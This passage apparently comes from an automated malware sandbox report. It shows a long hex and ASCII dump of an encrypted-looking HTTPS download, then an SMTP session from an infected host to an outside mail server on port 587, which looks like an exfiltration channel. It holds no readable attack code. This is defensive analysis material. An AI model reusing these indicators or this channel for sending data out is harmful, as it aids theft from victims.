74 26 11 92 d2 03 39 e6 6d 7c 65 a4 0e e8 32 4d 65 8a 6f 83 f4 34 0b de 98 83 5c 56 f8 d4 5c 06 cc cc 51 ae 5f 72 4a 81 d7 ee 5a 6c 19 Data Ascii: bdYEli;M)6y5%r~U8aC5RLJBMDa_W:s{yC=+JS8{c}585]%:j^b~z)vAxOgH]G$rk~F-'Aa,nG+#>ISt&9m\|e2Meo4\V\Q_rJZl
2021-09-27 18:14:09 UTC	198	IN	Data Raw: e6 39 45 32 28 d1 a8 be 91 54 66 a3 8f 6a 0c 8a 95 90 e9 97 8a 4c 57 6e 70 39 19 60 02 e6 32 5a a1 bc 9f ff ff a7 82 87 23 ad 76 1c ca e2 c5 37 ef 4c b6 00 78 c3 2b 67 09 26 85 8f 7c f1 51 e1 4c 60 68 9b 49 57 4d ab 19 3b fc b7 06 51 0d 2e 50 13 57 64 cf 3d 1f b5 fa 14 e8 9d 59 7b 63 58 c5 bf a4 4f ed fc 0a 51 ac 43 ae 27 b4 cd e6 9c ad ea 9d c8 d1 53 ec a2 41 ab 47 5c 1c 05 30 7c 4c 88 99 62 65 74 5c 98 54 10 97 b9 bb ae 39 00 82 55 e6 95 38 89 63 42 77 d9 30 08 b4 65 ec 56 e9 8e d6 70 50 f1 0d 43 41 ef 81 dd 68 a2 c3 42 d5 70 71 44 b8 4a 2e 5d 5e 47 1a 8f 35 5e d8 37 0b fb b3 d0 e6 63 7f 9c 8a 41 6c 88 66 45 df c9 2d 86 67 58 77 bf 9e f8 47 ad 9a d1 20 6d 89 55 6c 00 1f 52 6b dd 74 d5 bc c0 be c0 70 81 2e 1e 37 45 f4 c1 53 28 71 fe 6a a6 35 82 63 c2 2b Data Ascii: 9E2(TfjLWnp9`2Z#v7Lx+g&\|QL`hIWM;Q.PWd=Y{cXOQC'SAG\0\|Lbet\T9U8cBw0eVpPCAhBpqDJ.]^G5^7cAlfE-gXwG mUlRktp.7ES(qj5c+
2021-09-27 18:14:09 UTC	199	IN	Data Raw: d3 25 3b a0 e0 38 03 83 56 0a d1 fa 5e 41 9e d7 c5 0e 43 bb 7f 4d fb d8 42 4c 34 d3 03 16 cf 5d 1d 69 a1 96 0b ca c4 01 a3 c9 6d 13 7f ed f9 27 04 02 a2 b9 a3 0f 14 ab b7 6f 03 2b 38 b3 8c 13 37 50 7a 32 82 2f 1b a7 9e f1 0f 0d ae 78 66 7a 05 2c 76 65 bb a2 5f d1 a1 f2 dc 7d 5a a9 b2 fe 41 1e c4 94 00 32 8f 80 85 f8 b3 a5 cb c6 ca 7e 41 88 50 62 94 4f 22 29 11 c0 8f 91 13 e9 04 f4 16 11 05 12 e9 23 82 0b 84 04 01 ac 6d de 41 91 31 29 42 24 bb 1a e3 c1 25 a0 d5 28 dc af 2c 8b 64 01 15 05 e0 f3 14 4a ea 65 18 42 b3 63 ee 22 39 5f 87 0d 91 e5 25 54 d3 99 e1 6e 54 eb e6 47 20 c1 c7 42 9f 59 41 5b 94 c1 d7 4a 76 0e 03 4a 8d 38 7b 51 89 7a 72 d3 92 3b e0 63 51 24 43 63 14 ab 34 4e dc 6a c1 58 ab 06 71 27 f7 d4 d5 0b 3a aa 5e a8 d2 e5 47 f6 22 cf b1 92 da c6 17 Data Ascii: %;8V^ACMBL4]im'o+87Pz2/xfz,ve_}ZA2~APbO")#mA1)B$%(,dJeBc"9_%TnTG BYA[JvJ8{Qzr;cQ$Cc4NjXq':^G"
2021-09-27 18:14:09 UTC	200	IN	Data Raw: 38 97 0a 60 f8 3d 70 3a 32 83 8e 08 ef 64 e7 7c 51 68 93 58 3f 3e a9 08 10 d0 9e 00 4a 18 33 4c 6a 54 73 d4 17 13 b7 f8 60 c3 f2 50 6d 78 6b e3 d0 ad 5e fc cd 33 7c a0 43 84 3c b8 b8 f9 9c d9 e5 ac c8 dc 42 fa bf 78 88 46 47 17 14 58 1b 6e 99 b2 7b 6d 77 5d f7 50 21 86 9e 81 83 31 0b e5 46 eb e1 22 a1 6e 5d 45 fe 25 0d d1 36 eb 52 ef a5 e3 4e 55 e0 2b 22 4b ef f5 c5 40 b9 ff 57 d3 14 5c 40 fe 60 2b 38 54 4f 77 af 5c 19 fb 2a 5f d9 b7 a0 e8 63 13 98 ad 20 63 84 66 61 d3 bd 0f 86 0b 58 50 de 95 f4 47 be 8a a1 15 57 9a 6c 66 53 0c 45 76 ec 5c d3 94 dc d2 f9 4c 89 43 39 5d 22 d2 df 0c 2a 6e 92 43 82 54 a9 6c c2 0b 72 ed 5a 0b 06 a6 ff 0f 44 79 29 93 f1 46 24 e6 75 eb 46 8c b5 a7 02 b7 b8 6a 13 a6 80 d2 9c 92 55 be 2b f0 c9 d1 67 4d 55 1a 21 ff fb d8 25 20 70 Data Ascii: 8`=p:2d\|QhX?>J3LjTs`Pmxk^3\|C<BxFGXn{mw]P!1F"n]E%6RNU+"K@W\@`+8TOw\_c cfaXPGWlfSEv\LC9]"nCTlrZDy)F$uFjU+gMU!% p
2021-09-27 18:14:09 UTC	201	IN	Data Raw: 04 ae b5 d6 1d 1f ab a7 79 1d 09 34 ad cb 32 34 58 4b 29 98 38 1c b1 a6 ea 0e 68 84 3f 4e 7a 37 31 65 79 d2 8d 43 cb c4 b1 e7 68 55 a0 b3 dc 5f 13 f9 99 0b 26 91 81 87 e4 a6 be cc a4 fe 7a 54 cc 77 66 91 43 01 46 12 d0 97 ab 1e fd 1b e3 32 0b 05 24 ef 2c 96 16 8f 04 16 ac 6e d4 7b 8f 2c 18 4a 26 ce 35 cd dc 3f d2 db 2f dd 84 06 d8 61 11 17 06 fb f9 09 39 c4 6c 08 7c 96 6b dd 25 24 42 80 6f 97 f4 34 0b c1 99 f1 68 5a e3 ed 35 3a dc cf 61 9f 43 56 4a 92 c0 d7 47 6d 7a 01 2f b4 1e 4a 46 94 7c 6b ff 93 57 ff 63 46 0f 5c 69 08 99 29 55 c0 03 e0 42 b1 15 14 13 e8 dc dd 16 7b 8d 53 a9 cf e2 5f ac 0e 80 dc be d8 db 0e a0 ad 3f 7b 7b dc cf 7b 45 77 f8 b8 07 25 64 29 ca e5 83 3c 53 4b f9 00 75 e0 43 ad 5e e6 93 39 a5 7c 3d c7 9d 08 60 2c a3 54 8e 11 b9 a7 2e 34 04 Data Ascii: y424XK)8h?Nz71eyChU_&zTwfCF2$,n{,J&5?/a9l\|k%$Bo4hZ5:aCVJGmz/JF\|kWcF\i)UB{S_?{{{Ew%d)<SKuC^9\|=`,T.4
2021-09-27 18:14:09 UTC	203	IN	Data Raw: 8a 44 ff cc 47 73 aa 40 93 3d a4 dd f8 b0 c3 dc 80 a7 fc 43 f2 b3 69 b6 65 46 02 0d 51 6f 60 92 a0 43 04 7e 5c ec 78 26 97 87 87 bb 1d 0b e4 5d 83 b1 15 a0 69 4b 61 e4 02 11 b0 17 eb 7a f3 b7 ff 19 7b f1 37 6e 4d f9 f5 d3 63 a6 e4 57 f2 7a 78 46 fe 67 2b 4a 75 45 03 85 47 60 f4 2d 39 f1 de c9 ce 6c 7c f9 a3 4f 01 8a 03 76 e5 fe 23 80 64 3d 4a bb 87 c2 04 91 8c ce 45 79 8d 4a 66 00 3a 47 1f c1 4b 86 be c5 d2 e9 4e e0 05 0b 37 65 e1 b5 44 1e 04 d0 6f 9c 39 8e 76 c2 2e 68 ed 71 11 06 a3 e5 0f 75 7f 4c 95 eb 46 26 fc 75 e9 5c 8c 94 bf 6d a5 a2 6a 13 bc 80 d2 86 92 55 a4 2b f0 d3 d1 67 57 55 1a 3b ff fb c2 25 20 6a ae e1 6c ef 40 f4 e4 c9 c3 c2 44 5a ac ad 3f 10 7b ff 4d 36 65 30 1f d0 1a 1d 7b cf 56 89 d6 4e 6c 52 86 c7 27 69 70 e6 d2 82 16 90 e0 39 23 63 6f Data Ascii: DGs@=CieFQo`C~\x&]iKaz{7nMcWzxFg+JuEG`-9l\|Ov#d=JEyJf:GKN7eDo9v.hquLF&u\mjU+gWU;% jl@DZ?{M6e0{VNlR'ip9#co
2021-09-27 18:14:09 UTC	204	IN	Data Raw: 89 99 17 47 a4 97 a5 fc af be c1 d7 bf 59 5d fb 6c 6e 9d 04 2b 2f 14 d2 8d 9b 2e fc 00 f2 24 65 16 05 f4 1e b5 10 94 6a 21 ba 0b f2 5d 9e 37 10 50 27 a8 0b 8c e3 38 a1 c9 2b c5 99 28 f8 5e 17 4b 31 f7 e0 0e 5a c6 7a 7c 44 a5 7a f0 01 28 4f bd 0a 96 e7 29 37 f2 8f 83 56 5a ef f1 5a 1b c7 c5 52 d4 61 69 5c 95 d2 d2 6a 62 09 0f 29 ee 00 4c 53 8a 66 61 f1 89 3e e3 68 61 35 58 7a 13 89 25 49 ae 50 da 5e ab 06 1c 4f c9 c0 dc 0c 12 b3 4f f4 f2 e9 46 e7 35 a0 82 ae d2 c4 08 bb ab 29 7b 12 fe c8 18 50 7d ff 88 20 21 3a 13 ca f5 97 29 56 66 f6 73 7b e6 19 b1 7d e4 80 31 bd 70 20 fa f8 29 6f 36 b4 54 90 58 84 b8 32 32 0c a6 c4 93 12 3c 5b 39 f0 ab 13 79 58 4f 06 8b 70 02 4b 32 da 42 0a 3e 41 af 50 08 15 60 72 c1 93 7c 39 94 94 c1 97 5b 3e c4 81 2e e3 b5 70 77 54 8b Data Ascii: GY]ln+/.$ej!]7P'8+(^K1Zz\|Dz(O)7VZZRai\jb)LSfa>ha5Xz%IP^OOF5){P} !:)Vfs{}1p )o6TX22<[9yXOpK2B>AP`r\|9[>.pwT
2021-09-27 18:14:09 UTC	205	IN	Data Raw: a0 03 ab 78 4b 61 e4 51 16 b4 11 c0 7a f9 bf d1 7d 58 e6 26 51 5f 8a e6 ff 79 89 fe 41 d1 71 7d 5d 8d 23 31 5d 64 79 18 88 5f 7c de 37 2c 9e 8d d9 d3 7e 76 94 ea 6e 64 99 48 51 d5 de 00 8a 7f 4e 39 b9 96 e9 18 aa 8a c6 2b 42 9c 4d 7b 65 28 45 7a f1 5e f2 89 b5 a1 c9 4a bf 30 12 50 4c f0 c1 79 1c 61 c2 74 8d 27 8a 72 b1 4c 7f 88 66 3e 72 a2 f8 7f 4a 72 5d 95 cb 34 25 ff 10 fa 5f 8c a0 a8 76 8f a6 0f 3c bd ec f0 83 f7 41 a7 4e c6 c7 a5 52 26 03 3c 3f 93 c7 f6 4b 34 76 cb f1 7c 9b 46 d3 85 d8 de b6 52 2b cb ae 3a 4f 5d fa 39 15 74 58 31 c7 74 2d 7a cf 60 9e a2 57 5f 20 a6 c0 4a 44 6c 92 c6 e7 05 aa cd 03 07 69 06 c5 56 c0 d0 3a db 18 ce c4 f7 ef 08 b7 a4 fe a7 cd 9d bf e8 0a c2 2c 64 8f 3b f1 31 fa c3 a2 11 1a 6c ba af 2d cf b8 80 cc 1f 3c d2 7b 60 6d 38 71 Data Ascii: xKaQz}X&Q_yAq}]#1]dy_\|7,~vndHQN9+BM{e(Ez^J0PLyat'rLf>rJr]4%_v<ANR&<?K4v\|FR+:O]9tX1t-z`W_ JDliV:,d;1l-<{`m8q
2021-09-27 18:14:09 UTC	207	IN	Data Raw: 3c ce 38 c7 c1 1a b7 c5 28 c6 ba 3b ef 7b 15 1c 1a e7 e2 67 5e c6 7d 23 70 b4 6f c1 32 2c 5f 8a 20 91 e5 30 21 e3 fc f0 7e 47 d3 d1 50 0c c1 d1 43 99 43 53 5b 81 dd da 49 71 1e 29 3f b4 31 49 57 e6 42 6d e6 98 19 e9 7e 46 50 79 75 09 9e 25 57 80 57 c6 55 ab 63 23 04 fa d1 f3 14 17 8a 4f a2 cf 87 73 f2 37 aa 9c 99 f6 da 12 86 ad 34 7c 12 e4 d3 12 56 77 cd 8b 2a 01 71 3d d7 86 85 2d 4e 7b de 6e 7c e0 45 a6 77 f1 84 58 96 70 26 fd f8 23 6d 5f 90 54 97 0f be af 25 29 1e 9f 8f b9 13 52 7c 24 ef ab 5c 57 5e 4c 11 a1 73 09 4d 04 c7 44 7c 24 56 b8 46 69 35 60 7f d4 bf 60 38 86 85 97 b5 32 2e de 8e 36 c4 ac 77 1e 75 d0 cb 6c 8e 24 f2 b3 ef 84 6a 9b 3e 85 d5 c8 31 d2 1d 77 61 57 76 1c dd 81 65 18 1a 8b 27 e5 27 63 78 ae 16 85 be d6 43 90 c3 c1 86 2e ad 0f 9b 0c d5 Data Ascii: <8(;{g^}#po2,_ 0!~GPCCS[Iq)?1IWBm~FPyu%WWUc#Os74\|Vw*q=-N{n\|EwXp&#m_T%)R\|$\W^LsMD\|$VFi5``82.6wul$j>1waWve''cxC.
2021-09-27 18:14:09 UTC	208	IN	Data Raw: 9e 71 2a cd fc 66 42 af 23 3b 97 f9 5d db 3b 10 0d ee b6 ac 6a e0 da 97 77 0e de 0d 38 34 3e 06 2f b4 7f b6 c8 f7 af ac 3e 6a 89 3b ce 54 fc 28 47 cc b9 b3 85 fc 61 6d fe c2 44 af 97 4e 37 1f f3 75 86 2e a3 16 af e4 57 95 86 4f 8d 0c 8c d2 c8 22 d1 d3 7b 5c c5 81 91 f6 92 11 d5 2b b5 a7 f1 23 27 5b 53 5d fe b3 b9 68 38 4f cb ee 6d 83 42 f1 81 aa 8a ec 11 05 9c e5 7e 10 1c 8a 4c 74 17 30 5b a4 0f 4b 11 ce 01 f7 d1 0e 0b 40 d9 b4 35 29 05 e0 a0 f5 7a ce ab 7d 45 17 7a a4 3a b2 c2 4f af 7f bd a5 85 fd 63 d4 c5 b3 f4 a9 f6 c4 ee 6c b5 40 3a d6 7f 8e 57 e8 99 d7 03 4d 1b ba eb 58 ca fa f6 de 55 40 d6 1c 14 7e 70 01 32 e8 7d 82 f9 b6 12 5a 30 89 90 e1 fa 25 c7 19 7d 9c 9c e2 25 a7 4f 2c c6 4a 51 15 38 45 93 69 b0 72 c9 61 e6 da 14 55 6d 9f 65 da a0 eb 73 31 dc Data Ascii: q*fB#;];jw84>/>j;T(GamDN7u.WO"{\+#'[S]h8OmB~Lt0[K@5)z}Ez:Ocl@:WMXU@~p2}Z0%}%O,JQ8EiraUmes1
2021-09-27 18:14:09 UTC	209	IN	Data Raw: e8 b6 41 3d 61 f6 ac a9 4a 68 e7 6f d2 c0 71 32 67 5e 10 f9 ec d6 d9 17 b3 05 3b 8d 2f fb c1 6f bf 82 f6 3c 5e 36 60 e0 ce a4 33 2d 6a 5f 7f cb 3a de 23 03 1e de 73 c4 aa b8 7b f2 c8 5e 89 4f b6 81 7b 33 93 d9 e2 66 57 15 4d ab 82 e4 5a bb 65 92 00 12 97 b6 df 15 a9 f2 59 c3 94 13 a3 9b 7b 19 42 c5 b0 a6 50 d7 c0 53 c7 54 d9 6b a0 6b 72 2c 51 8c 4f 64 2b b6 7b 67 63 4d 6b 19 62 be 22 fc 82 30 4b 06 1a d9 40 15 93 fd 0e 5c f5 e0 ed c0 2e 5f 30 85 41 a1 d4 0b 14 30 a0 c5 21 f5 35 37 ff f2 cf 1b 9b 79 f1 c9 8a 44 d2 47 83 14 33 23 1d a2 f1 6b 71 68 8e 4d 9e 36 87 34 b3 7e f8 bb 91 36 82 00 b6 83 6d d9 13 c3 66 d1 89 55 03 4f 42 b2 c5 c9 f8 3f 00 cc e5 02 49 8b c5 fb 98 e4 e2 3e 22 83 94 25 4f 66 69 95 42 28 dc c5 db 8b 8f d2 82 c4 5a dd 01 5d a1 b9 b0 46 84 Data Ascii: A=aJhoq2g^;/o<^6`3-j_:#s{^O{3fWMZeY{BPSTkkr,QOd+{gcMkb"0K@\._0A0!57yDG3#kqhM64~6mfUOB?I>"%OfiB(Z]F
2021-09-27 18:14:09 UTC	210	IN	Data Raw: 60 0d 83 87 c1 49 ea 08 ca 44 10 f0 17 69 1b c2 88 0a 3b 16 34 f5 86 43 5d 89 70 8e 2e 82 dd d1 05 c5 c0 e8 5c cf 8e 9f f2 b2 10 d7 38 b5 a4 f1 20 35 54 4e 4a fb b3 b2 2d 4c 11 ae 80 1c fd a1 8c f6 2f bb ca 2e 2b a8 d6 4b 0d 19 9b 5f f6 1a 32 52 ac 14 5b 1d ac 13 89 d6 6d 1e 36 c1 d0 27 4f 02 92 b5 8e 62 ae b9 30 42 10 6f a8 25 bd cd 5e bb e8 be a0 81 fd ed c7 cd a4 f1 ad f9 c9 e0 71 b5 da 22 d9 5b 95 47 e7 84 de 17 79 19 a7 ee 44 ca f9 f4 cd 5c 4b db 3c 17 70 75 18 37 f5 6a 86 f8 b5 90 48 38 95 93 e9 e7 32 dd 9e 5b 83 8b de 28 b1 26 3e 56 4e 49 17 27 52 81 41 b5 73 d8 f1 c3 d8 3c 54 7e 82 e3 cf a4 ca 7d 33 5f 9e 5f 72 c1 88 49 7b 86 19 67 b3 9f 28 3d ef af a4 50 29 d7 0b 8e ba a8 33 43 56 a6 73 70 cf 18 79 09 d2 fc 64 8d ab 6b dc b2 04 74 13 8a bd 5d 78 Data Ascii: `IDi;4C]p.\8 5TNJ-L/.+K_2R[m6'Ob0Bo%^q"[GyD\K<pu7jH82[(&>VNI'RAs<T~}3__rI{g(=P)3CVspydkt]x
2021-09-27 18:14:09 UTC	212	IN	Data Raw: 84 34 90 7f cb f2 fc af ae 7b d2 ca 4e 10 0a b4 a1 7f 28 0a 84 ff 5e 5e 14 47 b1 04 73 5a b8 b5 85 82 83 80 17 f3 13 9b c8 5e f1 14 53 bb 1f ce 1f 58 d4 39 f1 60 df c6 61 47 68 db fb 43 fe 59 0f 53 8f 4c 9c 28 03 30 f4 47 00 61 19 60 be 22 fe f6 27 ea 22 09 4a 3d 12 b5 ee 47 55 f4 f2 a3 c5 3f 4d b1 e0 46 a1 d5 03 1e 33 a4 ca 2f fb 20 b2 c7 ef c1 1b 9e 79 f0 d5 8c 42 c0 05 0a 61 32 0b 14 ad a4 7d 73 68 8b 47 98 2f 0e 15 b6 74 f0 bf b3 3e 95 81 b6 87 7f 93 0a df 7b d4 9b 18 02 54 4e bd d5 9b 89 2e 4f dc ab 17 29 98 8b fd 8c e3 e9 3e 28 10 20 3f 7d 0c 7d 80 46 2d c6 df da 9e 81 ab 9a c5 66 c1 0e 7a 2d 0d aa 5b 8b 54 c3 e7 a5 9f 5e 13 2e 51 f1 ff 0c 98 01 93 23 02 21 f7 2c 57 3a 4e 6d 64 8f de 45 27 6d c5 85 7b 85 17 b2 d9 d3 c5 99 34 aa f3 26 8a 0d 38 80 ba Data Ascii: 4{N(^^GsZ^SX9`aGhCYSL(0Ga`"'"J=GU?MF3/ yBa2}shG/t>{TN.O)>( ?}}F-fz-[T^.Q#!,W:NmdE'm{4&8
2021-09-27 18:14:09 UTC	213	IN	Data Raw: 28 5d 40 44 f1 a1 32 b8 53 9a 33 8b 0f 86 3e 86 ea a3 bc c7 01 2b be 49 b7 16 3c 8d 51 7a 19 2c 59 a2 1a 4b 88 8f 27 fc ce 1d 0c d3 58 b4 35 a0 42 e8 a9 f2 70 4e 20 5d 50 90 2f aa 3e a1 50 fb bb 03 a7 b3 8a e1 7d 53 90 b3 85 ba 64 6c fa 10 af 56 35 ca 4c 09 02 e8 e8 de 19 5f 38 bb f9 db 76 f3 a2 cb 40 5d c0 be 19 6f 7e 17 b3 a8 61 80 f2 a4 02 c9 a1 80 86 60 ba 22 dd 9d e3 9f 9c 42 6d b1 2b 22 c9 65 5a 1c 28 d6 c7 6f ba 7c c1 7d fc c3 19 47 fe d3 73 7b e1 ff 6c a3 68 a5 59 47 d0 17 41 64 8d 1f 67 aa 8e ae 95 e8 bc b3 cc 6c ca 0b 8f 8e ae 3e 37 d7 e6 7e 66 dd 9a 74 02 db eb f8 c8 bb 7b c6 38 01 73 1d 9d aa d1 7d 72 c5 d5 db 6e 63 29 45 02 60 68 43 42 e8 73 55 3b 36 53 e7 df c7 c7 e5 90 78 8f e5 13 04 11 4d 4d 10 95 63 c2 24 b7 45 b2 86 1c 2a 45 63 9d 3d 68 Data Ascii: (]@D2S3>+I<Qz,YK'X5BpN ]P/>P}SdlV5L_8v@]o~a`"Bm+"eZ(o\|}Gs{lhYGAdgl>7~ft{8s}rnc)E`hCBsU;6SxMMc$E*Ec=h
2021-09-27 18:14:09 UTC	214	IN	Data Raw: 51 d4 39 ed 50 df ee 46 49 7c d9 6b 58 66 40 ae 10 93 db 2f bb ae 23 64 63 5c 72 2b e0 26 31 72 59 30 a3 3e 06 56 07 03 32 bc 1d 32 fc e8 f2 cf 27 5c 30 45 43 af f2 04 19 39 b0 d9 ae 62 25 a4 47 af d4 0d 1a e1 f1 c7 0e 04 c0 31 0c 73 b7 43 09 ae 76 d0 79 61 9e 51 12 2a 04 03 a0 7f f7 b4 bf 3e 9e 9d b9 9b 68 d3 12 da 72 c8 95 5e 0a 55 5b b0 d9 de 99 34 0f c5 ec 01 6d 97 c2 fb 84 eb a9 25 2b 17 07 b8 c4 0e 67 09 1e 20 d2 59 40 97 81 43 c2 de 54 ac 01 05 a1 b6 c1 49 08 c9 df 79 11 92 4a 83 2a 4e f2 fb 0d 86 13 fa 31 6f 1c e5 41 5f 23 dc 00 6c 92 dc 78 2a 77 5a 2a 77 1b 0b bc 46 74 88 98 3d be e0 b6 91 0d 26 21 ff d6 38 18 3a 46 22 44 6d fe 46 cd b6 97 f7 a3 b4 f3 bb a0 b5 b2 d9 04 cc 21 35 7e 72 b1 5b 35 e0 c4 24 0a 11 31 90 25 7d ed f4 74 8f 46 0c 8a 3a 8b Data Ascii: Q9PFI\|kXf@/#dc\r+&1rY0>V22'\0EC9b%G1sCvyaQ>hr^U[4m%+g Y@CTIyJN1oA_#lxwZwFt=&!8:F"DmF!5~r[5$1%}tF:
2021-09-27 18:14:09 UTC	215	IN	Data Raw: fa b1 e1 73 4e 80 59 45 13 72 b3 2a b5 d7 59 b8 eb 96 b5 81 cf 6f c3 51 98 ea 88 e5 cd f9 f8 9e 5c 13 c4 43 8d 47 d2 81 c7 90 60 1b bc fa 21 cc fb e5 b0 5d 4e c3 bc 94 69 76 14 b2 6c 6b 8e fc b0 10 4c 38 81 96 e1 fe 37 cf 18 7a 9a 8e c3 25 a3 4b 2a c5 eb dc 16 3d 56 9a 64 94 75 c5 6e fc d6 12 40 6d 12 f8 fb b3 6b 3d 34 cf 26 ce 53 d0 14 0c 68 9e 1f 7d 3e df 24 3c e2 ba a3 50 22 d4 1a 0d 9a be b1 bc 57 b4 f6 33 c1 1e 7e 03 db e4 7c 80 b1 69 d0 b8 1e 14 0f 80 bd 73 70 62 48 ae d3 5b 71 b9 74 d9 69 7d 52 c2 eb 7f 4b 3b 3e 41 f5 53 7c cd ed 85 68 11 f8 0d 16 18 43 5d 0a 1f da c8 22 ac c4 f3 87 1c 29 46 4f 9e 3d 57 8e ec 6a 52 f1 64 5d 8d c9 df b7 b6 3e 93 25 86 0d 19 71 b3 6e 48 60 a7 62 6d 5c 86 67 9f 5f 6b 79 63 88 49 f9 77 e9 0a 4d c1 03 b7 37 fa 65 7d 2b Data Ascii: sNYErYoQ\CG`!]NivlkL87z%K=Vdun@mk=4&Sh}>$<P"W3~\|ispbH[qti}RK;>AS\|hC]")FO=WjRd]>%qnH`bm\g_kycIwM7e}+
2021-09-27 18:14:09 UTC	217	IN	Data Raw: 45 bf ee 46 a7 c6 81 77 33 a3 d9 af 37 2c a3 d4 6c 74 1e 89 fa 99 de af 45 d3 40 10 e2 83 02 0e 3d 9d 6c 5b 6d 8a 51 11 c2 14 8c 4b 7d f7 b9 b3 24 11 64 bf 9a 71 c9 8d b6 72 d3 a9 55 0f 41 c4 dc c2 dc 93 2e 87 01 e3 01 69 88 c6 e9 98 61 82 2f 37 07 07 b9 91 1d f5 44 4c 68 d2 85 d1 9f 93 c0 83 d1 c7 24 01 e9 4a ab ab 5e 96 5e 53 04 1e 1e 39 10 e8 0a e5 64 69 8f 01 92 3e 14 83 96 22 53 38 df ed b0 8b d4 74 a4 a7 43 22 7b 87 ca a4 5d 67 59 7f 10 ab f2 37 88 08 35 a0 bf 43 2e 9b a3 47 b0 c1 2e e3 48 50 bc 8e f9 ad 3a eb a2 b2 36 1f d8 0a d1 31 a8 e9 61 22 9b c5 f8 c0 3e 84 cc 3d 9e 36 f5 1a e5 f3 d2 5d 61 84 20 02 94 6f da 18 af 8b 96 43 e5 3d 63 98 37 94 d9 98 11 3a 94 42 30 ad ff 89 96 0a d2 83 a3 5f 06 9e fc ec a3 a6 30 15 26 77 f8 b5 fd ba 43 5d 8c 5e 44 Data Ascii: EFw37,ltE@=l[mQK}$dqrUA.ia/7DLh$J^^S9di>"S8tC"{]gY75C.G.HP:61a">=6]a oC=c7:B0_0&wC]^D
2021-09-27 18:14:09 UTC	218	IN	Data Raw: e5 4f ac 4a dc 32 1b 6a 72 10 20 69 f6 8f e9 a0 93 bd 3a 8f 9a e9 f4 17 cf 09 68 1f 17 c2 38 b2 cc d9 d6 65 5a 1d 1a 56 86 74 a6 f3 50 72 e7 cf 9f a0 7d 9d 6f de a6 fe 68 33 5c 3e 56 57 cc 9d 42 74 00 c4 67 b7 97 24 3d e4 ba a9 45 22 d7 12 02 87 a4 25 34 d5 53 75 7d c1 1e 6c 12 54 60 78 8d ba 7b c6 3b 95 70 06 99 3b a6 72 7e c5 dd d6 7a 63 2b 05 0e 6d 5d 51 c5 e2 61 5a 34 3a 5b e8 5d 71 cf ea 8b 6d 18 f9 92 ff 1d 4a 56 04 17 d3 c1 38 27 cd fb af 0d 26 c2 cb 9a 3b 72 8b f5 4c 47 f6 f7 45 15 c6 c2 b3 27 4a 08 2a 86 05 0c fc 38 ee 4e 67 34 eb e9 58 80 61 83 d6 6d 63 e1 88 53 76 77 f3 85 4d c1 1a 3e 30 f5 4d 6a 31 c9 57 7e b0 34 59 d5 9c 4b bb 5a 41 96 32 70 63 64 13 92 63 09 a3 09 7c 2a c6 1b bd d7 d4 2c fc ee ec 97 47 56 86 7d 87 13 36 ac 83 24 e9 ac a5 06 Data Ascii: OJ2jr i:h8eZVtPr}oh3\>VWBtg$=E"%4Su}lT`x{;p;r~zc+m]QaZ4:[]qmJV8'&;rLGE'J8Ng4XamcSvwM>0Mj1W~4YKZA2pcdc\|,GV}6$
2021-09-27 18:14:09 UTC	219	IN	Data Raw: 90 81 b7 86 6d db 0f df 7a d5 89 54 0d 53 46 b5 c4 db 91 3c 07 cd eb 06 69 8a c7 f5 8a e3 eb 22 30 02 15 39 5d 0f 75 88 5e 35 c0 d8 d9 96 93 c2 82 c3 46 c1 13 68 af a4 ac 5b 8a 4c d1 65 0c 9c 58 02 6a 53 f7 e6 08 88 01 93 23 06 01 f7 2c 57 3e ce 6d 64 8f d2 65 24 7f 47 24 6a 07 16 a0 5b 76 d9 9f 14 ab f2 37 08 0c 34 a0 bf c3 2a 99 a3 47 30 c5 2d e3 48 d0 b8 8a f9 ad ba ef a7 b2 36 9f d1 0c c4 23 29 70 60 30 1b 29 fc c6 2c 04 19 39 98 27 75 e3 e6 f5 cf 54 65 82 32 83 e1 67 cf 0a 2e 12 97 51 65 d1 64 9f 23 9d d1 90 01 3c 94 c3 22 2c 8a 81 9a 0d d6 91 23 bb 14 1e 29 fe 22 42 39 10 26 77 da 35 19 3d 43 5f 9e de a0 a0 0a 13 f9 c4 20 01 ed 66 03 ba bd 6b ef 0b 75 39 de f3 c5 c7 da e3 15 47 23 e8 38 09 00 78 37 1f 82 3b 32 f8 81 d2 ac 3e b6 43 28 37 7d 91 e3 0c Data Ascii: mzTSF<i"09]u^5Fh[LeXjS#,W>mde$G$j[v74*G0-H6#)p`0),9'uTe2g.Qed#<",#)"B9&w5=C_ fku9G#8x7;2>C(7}
2021-09-27 18:14:09 UTC	221	IN	Data Raw: 55 7f 93 61 fa a1 ea 7d 21 dd a7 57 52 c2 95 4c 66 83 11 6f bf 9f 2c 20 ea b2 a1 4d 2c df 1a 0c 8f ac 30 25 56 a6 77 73 cf 18 79 00 d5 f9 79 88 b6 6e d4 ba 0c 71 13 88 b8 53 70 70 cb db d6 7b 71 ab f4 00 6e 7d 51 c0 e5 71 5b 35 3b 46 f6 5d 72 c5 eb 85 6a 0d e8 11 0a 1f 44 58 02 17 d2 c0 2a a5 c4 f2 8f 09 3b c7 d6 9f 33 7a 89 fb 64 47 e3 e5 c4 8c c7 d7 a2 a4 bf 0a 24 88 18 0b f0 2a 6f 46 75 b5 e3 f4 5d 88 69 91 57 65 71 60 80 41 f7 7f e1 04 45 c9 0b bf 34 fd 45 7f 23 48 ce 7f a2 b5 51 d2 bc 4a a9 db 49 8b 37 74 65 75 92 96 67 39 a3 09 7c 23 c0 0e af 56 4d 2d ee 6f e4 91 40 54 97 fc 83 1b 33 8c 83 35 68 a8 a3 26 fa 37 00 2f e0 b3 be 28 03 7a 66 4a c0 41 3c 23 e6 0f 02 90 fd 57 8c 06 32 50 2a 0c 7a ea 40 3a ae 03 a3 2d df 63 71 61 9b b5 b2 78 7b de 2a da bb Data Ascii: Ua}!WRLfo, M,0%VwsyynqSpp{qn}Qq[5;F]rjDX;3zdG$oFu]iWeq`AE4E#HQJI7teug9\|#VM-o@T35h&7/(zfJA<#W2Pz@:-cqax{

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 27, 2021 20:15:40.636559963 CEST	587	49789	31.193.225.171	192.168.11.20	220-multi5027.multi-dominio.com ESMTP Exim 4.94.2 #2 Mon, 27 Sep 2021 20:15:40 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Sep 27, 2021 20:15:40.637027979 CEST	49789	587	192.168.11.20	31.193.225.171	EHLO 287400
